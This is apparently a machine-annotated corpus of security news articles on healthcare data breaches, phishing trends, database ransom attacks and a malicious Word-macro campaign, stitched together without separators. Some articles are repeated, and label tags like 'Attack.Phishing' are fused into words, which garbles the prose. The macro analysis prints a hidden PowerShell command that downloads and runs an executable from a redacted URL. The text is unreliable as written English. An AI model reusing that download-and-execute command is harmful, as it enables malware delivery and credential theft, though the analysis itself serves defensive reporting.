PhishingAttack.Phishingand other hacking incidents have led to several recently reported large health data breachesAttack.Databreach, including one that UConn Health reports affected 326,000 individuals . In describing a phishing attackAttack.Phishing, UConn Health says that on Dec 24 , 2018 , it determined that an unauthorized third party illegally accessedAttack.Databreacha limited number of employee email accounts containing patient information , including some individuals ' names , dates of birth , addresses and limited medical information , such as billing and appointment information . The accounts also contained the Social Security numbers of some individuals . Several other healthcare entities also have recently reported to federal regulators data breachesAttack.Databreachinvolving apparent phishingAttack.Phishingand other email-related attacks . `` All of these incidents speak to the rampant attacks we are seeing across healthcare , and yet organizations are still not investing enough in protection or detection , '' says Mac McMillan , CEO of security consulting firm CynergisTek . UConn Health , an academic medical center , says in a media statement that it identified approximately 326,000 potentially impacted individuals whose personal information was contained in the compromisedAttack.Databreachemail accounts . For approximately 1,500 of these individuals , this information included Social Security numbers . `` It is important to note that , at this point , UConn Health does not know for certain if any personal information was ever viewed or acquiredAttack.Databreachby the unauthorized party , and is not aware of any instances of fraud or identity theft as a result of this incident , '' the statement notes . `` The incident had no impact on UConn Health 's computer networks or electronic medical record systems . '' UConn Health is offering prepaid identity theft protection services to individuals whose Social Security numbers may be impacted . The organization says it has notified law enforcement officials and retained a forensics firm to investigate the matter . Once the U.S.Department of Health and Human Services confirms the details , the attackAttack.Databreachon UConn Health could rank as the second largest health data breachAttack.Databreachreported so far this year , based on a snapshot of its HIPAA Breach Reporting Tool website on Monday . The largest health data breachAttack.Databreachrevealed so far this year , but not yet added to the tally , affected University of Washington Medicine . UW Medicine says a misconfigured database left patient data exposedAttack.Databreachon the internet for several weeks last December , resulting in a breachAttack.Databreachaffecting 974,000 individuals . Several other phishingAttack.Phishingand hacking incidents have been added to the HHS `` wall of shame '' tally in recent weeks . Among those is a hacking incident impacting 40,000 individuals reported on Feb 1 by Minnesota-based Reproductive Medicine and Infertility Associates . In a statement , the organization notes that on Dec 5 , 2018 , it discovered it had been the target of a `` criminal malware attack . '' An RMIA practice manager tells Information Security Media Group that independent computer forensics experts removed the malware , but did not definitively determine how the malware infection was launched . The practice suspects the malware was likely embedded in an email attachment , he says . RMIA 's statement notes that while the investigation did not identify any evidence of unauthorized accessAttack.Databreachto anyone 's personal information , `` we unfortunately could not completely rule out the possibility that patients ' personal information , including name , address , date of birth , health insurance information , limited treatment information and , for donors only , Social Security number , may have been accessibleAttack.Databreach. '' In the aftermath of the incident , RMIA says it 's adding another firewall , requiring changes to user credentials/passwords , implementing dual-factor authentication and providing additional staff training regarding information security . '' Also reporting a hacking incident in recent weeks was Charleston , S.C.-based Roper St.Francis Healthcare , which operates several hospitals in the region . The attack was reported as impacting nearly 35,300 individuals . In a Jan 29 statement , the entity says that on Nov 30 , 2018 , it learned that an unauthorized actor may have gained accessAttack.Databreachto some of its employees ' email accounts between Nov 15 and Dec 1 , 2018 , `` Our investigation determined that some patient information may have been contained in the email accounts , patients ' names , medical record numbers , information about services they received from Roper St.Francis , health insurance information , and , in some cases , Social Security numbers and financial information , '' the statement says . For those patients whose Social Security number was potentially exposedAttack.Databreach, the organization is offering prepaid credit monitoring and identity protection services . `` To help prevent something like this from happening again , we are continuing education with our staff on email protection and enhancing our email security , '' Roper St. Francis says . As phishingAttack.Phishingcontinues to menace healthcare entities , covered entities and business associates need to keep up with their defenses , some experts note . `` Phishing techniques have become more sophisticated than in the past , '' note Kate Borten , president of security and privacy consulting firm The Marblehead Group . `` Workforce training should include simulated phishing attacksAttack.Phishingto make people better prepared to recognize and thwart a real attack . '' To help mitigate breach risks , organizations should be deploying next-generation firewalls and multifactor authentication , plus employing advanced malware detection solutions , McMillan says . Too many organizations are overlooking the value of multifactor authentication , Borten adds . `` Two-factor user authentication was intended to be required over the internet and public networks in the proposed HIPAA Security Rule , '' she notes . `` Unfortunately , since that requirement was dropped in the final rule , healthcare is lagging on multifactor authentication , which is easier now than ever to implement . '' But McMillan advises healthcare organizations to avoid using multifactor authentication systems that use SMS to transmit a one-time password because those messages can be interceptedAttack.Databreach. `` The software- or hardware-based solutions are preferred , '' McMillan says . So what other technologies or best practices should covered entities and business associates consider to prevent falling victim to phishingAttack.Phishingand other attacks ? `` Unfortunately we have n't seen any silver bullets here yet , but one thing we might want to begin exploring is just what an attacker has accessAttack.Databreachto when they compromiseAttack.Databreacha user 's account , '' McMillan notes . `` All too often , we hear that the accounts compromisedAttack.Databreachhad incredibly large numbers of emails immediately accessibleAttack.Databreachto the attacker . The question is , are their better ways to deal with retention that mitigate risk as well ? ''
PhishingAttack.Phishingand other hacking incidents have led to several recently reported large health data breachesAttack.Databreach, including one that UConn Health reports affected 326,000 individuals . In describing a phishing attackAttack.Phishing, UConn Health says that on Dec 24 , 2018 , it determined that an unauthorized third party illegally accessedAttack.Databreacha limited number of employee email accounts containing patient information , including some individuals ' names , dates of birth , addresses and limited medical information , such as billing and appointment information . The accounts also contained the Social Security numbers of some individuals . Several other healthcare entities also have recently reported to federal regulators data breachesAttack.Databreachinvolving apparent phishingAttack.Phishingand other email-related attacks . `` All of these incidents speak to the rampant attacks we are seeing across healthcare , and yet organizations are still not investing enough in protection or detection , '' says Mac McMillan , CEO of security consulting firm CynergisTek . UConn Health , an academic medical center , says in a media statement that it identified approximately 326,000 potentially impacted individuals whose personal information was contained in the compromisedAttack.Databreachemail accounts . For approximately 1,500 of these individuals , this information included Social Security numbers . `` It is important to note that , at this point , UConn Health does not know for certain if any personal information was ever viewed or acquiredAttack.Databreachby the unauthorized party , and is not aware of any instances of fraud or identity theft as a result of this incident , '' the statement notes . `` The incident had no impact on UConn Health 's computer networks or electronic medical record systems . '' UConn Health is offering prepaid identity theft protection services to individuals whose Social Security numbers may be impacted . The organization says it has notified law enforcement officials and retained a forensics firm to investigate the matter . Once the U.S.Department of Health and Human Services confirms the details , the attackAttack.Databreachon UConn Health could rank as the second largest health data breachAttack.Databreachreported so far this year , based on a snapshot of its HIPAA Breach Reporting Tool website on Monday . The largest health data breachAttack.Databreachrevealed so far this year , but not yet added to the tally , affected University of Washington Medicine . UW Medicine says a misconfigured database left patient data exposedAttack.Databreachon the internet for several weeks last December , resulting in a breachAttack.Databreachaffecting 974,000 individuals . Several other phishingAttack.Phishingand hacking incidents have been added to the HHS `` wall of shame '' tally in recent weeks . Among those is a hacking incident impacting 40,000 individuals reported on Feb 1 by Minnesota-based Reproductive Medicine and Infertility Associates . In a statement , the organization notes that on Dec 5 , 2018 , it discovered it had been the target of a `` criminal malware attack . '' An RMIA practice manager tells Information Security Media Group that independent computer forensics experts removed the malware , but did not definitively determine how the malware infection was launched . The practice suspects the malware was likely embedded in an email attachment , he says . RMIA 's statement notes that while the investigation did not identify any evidence of unauthorized accessAttack.Databreachto anyone 's personal information , `` we unfortunately could not completely rule out the possibility that patients ' personal information , including name , address , date of birth , health insurance information , limited treatment information and , for donors only , Social Security number , may have been accessibleAttack.Databreach. '' In the aftermath of the incident , RMIA says it 's adding another firewall , requiring changes to user credentials/passwords , implementing dual-factor authentication and providing additional staff training regarding information security . '' Also reporting a hacking incident in recent weeks was Charleston , S.C.-based Roper St.Francis Healthcare , which operates several hospitals in the region . The attack was reported as impacting nearly 35,300 individuals . In a Jan 29 statement , the entity says that on Nov 30 , 2018 , it learned that an unauthorized actor may have gained accessAttack.Databreachto some of its employees ' email accounts between Nov 15 and Dec 1 , 2018 , `` Our investigation determined that some patient information may have been contained in the email accounts , patients ' names , medical record numbers , information about services they received from Roper St.Francis , health insurance information , and , in some cases , Social Security numbers and financial information , '' the statement says . For those patients whose Social Security number was potentially exposedAttack.Databreach, the organization is offering prepaid credit monitoring and identity protection services . `` To help prevent something like this from happening again , we are continuing education with our staff on email protection and enhancing our email security , '' Roper St. Francis says . As phishingAttack.Phishingcontinues to menace healthcare entities , covered entities and business associates need to keep up with their defenses , some experts note . `` Phishing techniques have become more sophisticated than in the past , '' note Kate Borten , president of security and privacy consulting firm The Marblehead Group . `` Workforce training should include simulated phishing attacksAttack.Phishingto make people better prepared to recognize and thwart a real attack . '' To help mitigate breach risks , organizations should be deploying next-generation firewalls and multifactor authentication , plus employing advanced malware detection solutions , McMillan says . Too many organizations are overlooking the value of multifactor authentication , Borten adds . `` Two-factor user authentication was intended to be required over the internet and public networks in the proposed HIPAA Security Rule , '' she notes . `` Unfortunately , since that requirement was dropped in the final rule , healthcare is lagging on multifactor authentication , which is easier now than ever to implement . '' But McMillan advises healthcare organizations to avoid using multifactor authentication systems that use SMS to transmit a one-time password because those messages can be interceptedAttack.Databreach. `` The software- or hardware-based solutions are preferred , '' McMillan says . So what other technologies or best practices should covered entities and business associates consider to prevent falling victim to phishingAttack.Phishingand other attacks ? `` Unfortunately we have n't seen any silver bullets here yet , but one thing we might want to begin exploring is just what an attacker has accessAttack.Databreachto when they compromiseAttack.Databreacha user 's account , '' McMillan notes . `` All too often , we hear that the accounts compromisedAttack.Databreachhad incredibly large numbers of emails immediately accessibleAttack.Databreachto the attacker . The question is , are their better ways to deal with retention that mitigate risk as well ? ''
Cyberthreats are a constant risk and affect public administrations significantly . So much so that they have become a powerful instrument of aggression against public entities and citizens . They can lead to a serious deterioration in the quality of service , and also , above all , to data leaksAttack.Databreachconcerning everything from personal information to state secrets . The combination of new technologies and the increase in the complexity of attacks , as well as the professionalization of cybercriminals , is highly dangerous . Last December , a large-scale spam campaign spanning more than ten countries was carried out , and specifically targeted a major European ministry . The attackAttack.Phishing, via phishingAttack.Phishing, was highly advanced and combined social engineering tactics with a powerful Trojan . The attackAttack.Phishingis sentAttack.Phishingby email with an attached Word document . At first , we suspected that it was a targeted attack , since the message came , supposedly , from a healthcare company and the recipient was an employee of the Ministry of Health in a European country . The present analysis describes the technical features of the harmful code found in the macro of the Word document . The goal of the macro was to download and run another malicious component . Below are shown a few static properties of the analyzed files . The hash of the Word document is the following : MD5 : B480B7EFE5E822BD3C3C90D818502068 SHA1 : 861ae1beb98704f121e28e57b429972be0410930 According to the document ’ s metadata , the creation date was 2016-12-19 . The malicous code ’ s signature , downloaded by Word , is the following : MD5 : 3ea61e934c4fb7421087f10cacb14832 SHA1 : bffb40c2520e923c7174bbc52767b3b87f7364a9 The Word document gets to the victim ’ s computer by way of a spam email coming fromAttack.Phishinga healthcare company . The text tricksAttack.Phishingthe recipient into beleiving that the content is protected and needs to run the macro in order to gain access to it . According to the data recovered by Panda Security ’ s Collective Intelligence , this spam campaign took place on December 19 , 2016 and affected several countries . Interactions with the infected system The basic function of the macro consists in downloading and running another malicious code from a URL embedded in the macro itself . Also , the macro is designed to run immediately upon being opened . Part of the obfuscated code contained in the macro Once the macro is running , the Word doc runs the following command in the system : cmd.exe /c pOWeRsHELL.EXe -eXecUTIONpolICy BYPAss -noPrOfIlE -winDowsTyle hidDEN ( NeW-oBjECt sYstEm.NeT.webcLiENt ) .DOWNloAdFILE ( ‘ http : //xxxxxxxxxxxx.com/13obCpHRxA1t3rbMpzh7iy1awHVm1MzNTX.exe ’ , ’ C : \Users\ ? ? ? ? \AppData\Roaming.eXe ’ The system symbol ( cmd.exe ) runs the powershell with two embedded commands going through parameters : Thanks to the data obtained by the Intelligence Collective at Panda Security , we know that the last malicious code to be distributed by this campaign is a variant of the Dyreza family . Panda ’ s clients were protected proactively , without need of signatures or updates . The purpose of the malicious code is to stealAttack.Databreachcredentials from browsers and add the compromised machine to bot network . It then waits for commands from the Command & Control Server . These commands come from the cybercriminals that operate it , and is able to download further new malware and carry out all kinds of malicious actions . Digitization in Public Administration leads to the exponential growth of the creation , storage and management of huge quantities of confidential data — data that does not allow for a single oversight
Social media phishing attacksAttack.Phishingjumped by a massive 500 % in Q4 , driven by a huge increase in fraudulent accounts including many posing asAttack.Phishingcustomer support for big name brands , according to Proofpoint . The security vendor revealed the findings in its Q4 2016 Threat Summary and Year in Review report . It claimedAttack.Phishingfraudulent accounts across sites like Twitter and Facebook increased 100 % from the third to fourth quarter . Such accounts are used for phishingAttack.Phishing, malware distribution , spam and other ends . In fact , Proofpoint observed a 20 % increase in Facebook and Twitter spam from Q3 to Q4 , with the quarter recording the second highest spam volume in the year . Yet it was a particular variety of phishing that caught the eye . So-called “ angler phishingAttack.Phishing” is a relatively new tactic in which the black hats register fake Twitter accounts that masquerade asAttack.Phishingcustomer support accounts . They monitor the real support accounts for irate customer messages and then quickly jump in to send messages back to those users loaded with malicious links . The tactic was particularly common among financial services and entertainment accounts , according to the report . Elsewhere , the number of new ransomware variants grew 30-fold over Q4 , and malicious email campaigns grew significantly , with Q4 's largest campaign 6.7 times the size of Q3 's . Some of the biggest campaigns apparently involved hundreds of millions of messages dropping Locky ransomware . However , there was some good news , with scams involving the spoofing of CEO emails sent toAttack.PhishingCFOs falling 28 % in the final quarter . This is partly because CFOs are more cautious about the veracity of such messages , but can also be linked to a 33 % surge in DMARC implementation which helped to block attempts to spoofAttack.Phishingthe CEO ’ s email address . In addition , exploit kits remained at low levels of activity after some high profile Angler EK arrests in Q2 , although large scale malvertising campaigns persisted , Proofpoint claimed .
For all the sophisticated tactics , techniques , and procedures employed by threat actors these days , phishingAttack.Phishingcontinued to be the top attack vector in 2016 , as it has been for some time . The big difference was that instead of targeting financial services companies , phishers increasingly targeted cloud storage service providers like Google and DropBox , security vendor PhishLabs said in a voluminous report on phishing trends released this week . Compared to 2013 , when barely 10 % of phishing attacksAttack.Phishingtargeted cloud storage services , about 22.5 % of phishing attacksAttack.Phishinglast year involved such companies . That was just barely below the 23 % of phishing scamsAttack.Phishinginvolving financial brands , the company noted . What that means is that users are likely going to get more phishing emails this year trying to get them to part with credentials to their cloud storage credentials . `` Over the last four years , the number of phishing attacksAttack.Phishingtargeting cloud storage services has skyrocketed , '' says Crane Hassold , senior security threat researcher at PhishLabs . `` Based on recent trends , it is likely that phishing attacksAttack.Phishingtargeting cloud storage services will overtake financial institutions as the top target for phishers in 2017 . '' So far at least , almost all phishing attacksAttack.Phishingimpacting this industry have involved only Google and DropBox . Many of the phishing campaignsAttack.Phishingtargeting cloud storage providers contain luresAttack.Phishingsaying that a document or picture has been shared with the victim and encourage them to sign in to their account in order to view it . A majority of the phishing pages involved in such campaignsAttack.Phishinghave really been poor duplicates of the pages used by Google , DropBox , and other legitimate sites . Even so , `` based on the growing popularity of these types of attacksAttack.Phishing, phishers must still be having success compromising victim even with this lack of authenticity , '' Hassold says . The PhishLabs report is based on an analysis of some one million confirmed phishing sites spread across more than 170,000 unique domains , and also from the company ’ s handling of more than 7,800 phishing attacksAttack.Phishingper month in 2016 . The analysis showed an alarming increase across the board in phishing-related activitiesAttack.Phishing. The number of phishing sites in 2016 , for instance , was 23 % higher than the year before , while the volume of phishing emails grew by an average of 33 % across financial services , cloud storage/file hosting , webmail/online , payment services , and ecommerce sites . PhishLabs identified a total of 976 brands belonging to 568 organizations that cybercriminal used in phishing campaignsAttack.Phishinglast year . The kind of data that phishers went after also broadened considerably last year . In addition to account credentials and personal data , phishers also used their phishing luresAttack.Phishingto try and snag financial , employment , and account security data like answers to challenge/response questions and mother ’ s maiden name . Ransomware 's Best Friend In 2016 , phishingAttack.Phishingalso continued to be by far the most prevalent method for delivering ransomware on everything from end user systems to systems belonging to businesses , government agencies , schools , and critical infrastructure targets . The use of email as an authentication measure made it easier for phishers to mass harvestAttack.Databreachcredentials for all email services on a single phishing site , instead of having to target email providers individually , Hassold says . `` Additionally , because a growing number of Web services are using email as a primary credential , phishers are able to multiply their profits by conducting password reuse attacks against these unsuspecting targets , '' he says . The easy availability of phish kits , or ready-to-use templates for creating working phishing sites , contributed to the problem . Many of these kits included sophisticated anti-detection mechanisms . Mechanisms included access control measures based on IP address , HTTP referrer , and hostname , whitelists , and blocklists . `` The big takeaway is that we ’ ve created ideal conditions for the mass harvestingAttack.Databreachof credentials via phishing attacksAttack.Phishing, '' Hassold notes . Unlike in the past where phishers were focused on immediate gains—by going after and selling access to financial accounts for instance—they are now trying to maximize the information they can compromise with the least effort .
For all the sophisticated tactics , techniques , and procedures employed by threat actors these days , phishingAttack.Phishingcontinued to be the top attack vector in 2016 , as it has been for some time . The big difference was that instead of targeting financial services companies , phishers increasingly targeted cloud storage service providers like Google and DropBox , security vendor PhishLabs said in a voluminous report on phishing trends released this week . Compared to 2013 , when barely 10 % of phishing attacksAttack.Phishingtargeted cloud storage services , about 22.5 % of phishing attacksAttack.Phishinglast year involved such companies . That was just barely below the 23 % of phishing scamsAttack.Phishinginvolving financial brands , the company noted . What that means is that users are likely going to get more phishing emails this year trying to get them to part with credentials to their cloud storage credentials . `` Over the last four years , the number of phishing attacksAttack.Phishingtargeting cloud storage services has skyrocketed , '' says Crane Hassold , senior security threat researcher at PhishLabs . `` Based on recent trends , it is likely that phishing attacksAttack.Phishingtargeting cloud storage services will overtake financial institutions as the top target for phishers in 2017 . '' So far at least , almost all phishing attacksAttack.Phishingimpacting this industry have involved only Google and DropBox . Many of the phishing campaignsAttack.Phishingtargeting cloud storage providers contain luresAttack.Phishingsaying that a document or picture has been shared with the victim and encourage them to sign in to their account in order to view it . A majority of the phishing pages involved in such campaignsAttack.Phishinghave really been poor duplicates of the pages used by Google , DropBox , and other legitimate sites . Even so , `` based on the growing popularity of these types of attacksAttack.Phishing, phishers must still be having success compromising victim even with this lack of authenticity , '' Hassold says . The PhishLabs report is based on an analysis of some one million confirmed phishing sites spread across more than 170,000 unique domains , and also from the company ’ s handling of more than 7,800 phishing attacksAttack.Phishingper month in 2016 . The analysis showed an alarming increase across the board in phishing-related activitiesAttack.Phishing. The number of phishing sites in 2016 , for instance , was 23 % higher than the year before , while the volume of phishing emails grew by an average of 33 % across financial services , cloud storage/file hosting , webmail/online , payment services , and ecommerce sites . PhishLabs identified a total of 976 brands belonging to 568 organizations that cybercriminal used in phishing campaignsAttack.Phishinglast year . The kind of data that phishers went after also broadened considerably last year . In addition to account credentials and personal data , phishers also used their phishing luresAttack.Phishingto try and snag financial , employment , and account security data like answers to challenge/response questions and mother ’ s maiden name . Ransomware 's Best Friend In 2016 , phishingAttack.Phishingalso continued to be by far the most prevalent method for delivering ransomware on everything from end user systems to systems belonging to businesses , government agencies , schools , and critical infrastructure targets . The use of email as an authentication measure made it easier for phishers to mass harvestAttack.Databreachcredentials for all email services on a single phishing site , instead of having to target email providers individually , Hassold says . `` Additionally , because a growing number of Web services are using email as a primary credential , phishers are able to multiply their profits by conducting password reuse attacks against these unsuspecting targets , '' he says . The easy availability of phish kits , or ready-to-use templates for creating working phishing sites , contributed to the problem . Many of these kits included sophisticated anti-detection mechanisms . Mechanisms included access control measures based on IP address , HTTP referrer , and hostname , whitelists , and blocklists . `` The big takeaway is that we ’ ve created ideal conditions for the mass harvestingAttack.Databreachof credentials via phishing attacksAttack.Phishing, '' Hassold notes . Unlike in the past where phishers were focused on immediate gains—by going after and selling access to financial accounts for instance—they are now trying to maximize the information they can compromise with the least effort .
Recent attacks against insecure MongoDB , Hadoop and CouchDB installations represent a new phase in online extortionAttack.Ransom, born from ransomware ’ s roots with the promise of becoming a nemesis for years to come . First spotted on Dec. 27 by Victor Gevers , an ethical hacker and founder of GDI Foundation , attacks in the past two months shot up from 200 to near 50,000 . The first of these ransom attacksAttack.Ransomagainst insecure databases traces back to a hacker identified as Harak1r1 , who Gevers said was responsible for compromising open MongoDB installations , deleting their contents , and leaving behind a ransom note demandingAttack.Ransom0.2 BTC ( about $ 220 at the time ) . After that , escalation of attacks against open MongoDB installations happened fast , jumping from hundreds one week , to 2,000 the next , and 10,000 the following week . At last count more than 56,000 open MongoDB databases alone are ripe for attack , according to the most recent numbers available from GDI Foundation . But that doesn ’ t include a slew of new databases now being targeted by cybercriminals . Security researchers at Rapid7 estimate that 50 percent of the 56,000 vulnerable MongoDB servers have been ransomedAttack.Ransom. In a typical ransomware attackAttack.Ransom, an attacker compromises a computer via malware or Trojan and encrypts local data that can only be unlocked with an encryption key obtained for a price . That spurred a maturing of ransomware used against more sophisticated healthcare , government and educational targets with similar phishingAttack.Phishing, malware and Trojan techniques . However , experts say , both have acted as the stepping stones to this type of data hijacking . With data hijacking , attackers compromise insecure database installations , copy data , then delete the contents and leaving behind a ransom note in the form of a directory name demanding a ransomAttack.Ransombe paidAttack.Ransomvia Bitcoin . Rapid7 has already seen additional databases such as Redis , Kibana and other SQL databases targeted in its honeypots . Josh Gomez , senior security researcher with security firm Anomali , said moving forward attacks will be less random , more targeted and seek high-value repositories with weak protection .
More than one million Brits over the age of 45 have fallen victim to some form of email-related fraudAttack.Phishing, as the internet supersedes the telephone as the favored channel for scammers , according to Aviva . The insurer polled over 1000 adults over the age of 45 in the latest update to its long-running Real Retirement Report . Further , 6 % said they had actually fallen victim to such an online attack , amounting to around 1.2 million adults . Some 22 % more people it surveyed had been targeted by email rather than phone-based fraudAttack.Phishing. Aviva claimed this is important because the government is currently consulting on whether to ban cold calling in a bid to hit pension scammers . It highlights the need for regulators to address digital fraud at the same time , the insurer claimed . Over 20.6 million UK adults over 45 have been targeted by an email scamAttack.Phishing, versus nearly 17m via the telephone , Aviva calculated . Despite this , 69 % of respondents claimed technology has made life easier for them , in areas like managing their finances ( 66 % ) , travel ( 65 % ) and education ( 51 % ) . However , a sizeable minority claimed digital technologies are becoming too complicated ( 38 % ) , are not designed with their age group in mind ( 27 % ) and make them feel vulnerable ( 21 % ) . An Aviva spokesperson confirmed to Infosecurity that respondents were asked if they had ever been targeted by fraudsters – not just in the past year . No breakdown was given as to the type of scams they might have faced , although phishingAttack.Phishingand 419 fraud usually rank among the most common